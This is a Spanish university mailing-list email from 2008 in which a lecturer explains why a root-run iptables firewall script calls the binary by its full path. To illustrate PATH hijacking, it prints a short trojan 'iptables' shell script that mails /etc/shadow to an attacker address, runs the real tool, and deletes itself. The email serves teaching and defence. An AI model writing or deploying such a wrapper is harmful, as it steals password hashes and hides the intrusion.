[eside-ghost] Recordatorio: Introducción a Netfilter/IPTables a las 12:00 en la Sala de Videoconferencias

Pablo Garaizar Sagarminaga garaizar en eside.deusto.es
Mie Mar 12 15:05:27 CET 2008


Aupa!

El Wed, 12 Mar 2008 14:33:31 +0100
Andoni <jovenfiestero en yahoo.es> comentaba:

> ¿se han subido las transparencias a la web? o yo estoy ciego o no
> estan.

No, pretendo subir todo al terminar la Semana ESIDE (y estar un poco
menos atareado).

> exactamente por que dijistes que habia que declarar una variable a
> /sbin/iptables. he visto algunos script por internet y nadie hace eso.

Es que soy un poco rarito, wokepaaaatxa :-D

No, en serio, tiene que ver con un ataque bastante mítico y la variable
PATH: el script del firewall se va a ejecutar como root (muchos
privilegios), así que si alguien consigue crear un ejecutable que se
llame iptables en un directorio que esté antes en el PATH que /sbin, se
ejecutará ese programa y no el iptables original.

Imagínate un programa iptables copiado en /bin/ que tenga este
contenido:

#!/bin/sh
cat /etc/shadow | mail -s "Hacked" megahacker en gmail.com
/sbin/iptables $*
rm $0

¿Qué haría?

1) Mandarse el fichero de contraseñas al mail.
2) Ejecutar el verdadero iptables para no dar el cantazo.
3) Borrarse a sí mismo para no dejar huella.

Así que si el PATH está mal configurado o algún directorio que esté
antes que sbin tiene mal los permisos, la puedes liar con eso.

-- 
  Pablo Garaizar Sagarminaga
  ONTE (Oficina de Nuevas Tecnologías y Educación)
  Universidad de Deusto
  Avda. de las Universidades 24
  48007 Bilbao - Spain

  Phone:       +34-94-4139000 Ext 2980
  Fax:                  +34-94-4139101
  Web:     http://onte.eside.deusto.es


Más información sobre la lista de distribución eside-ghost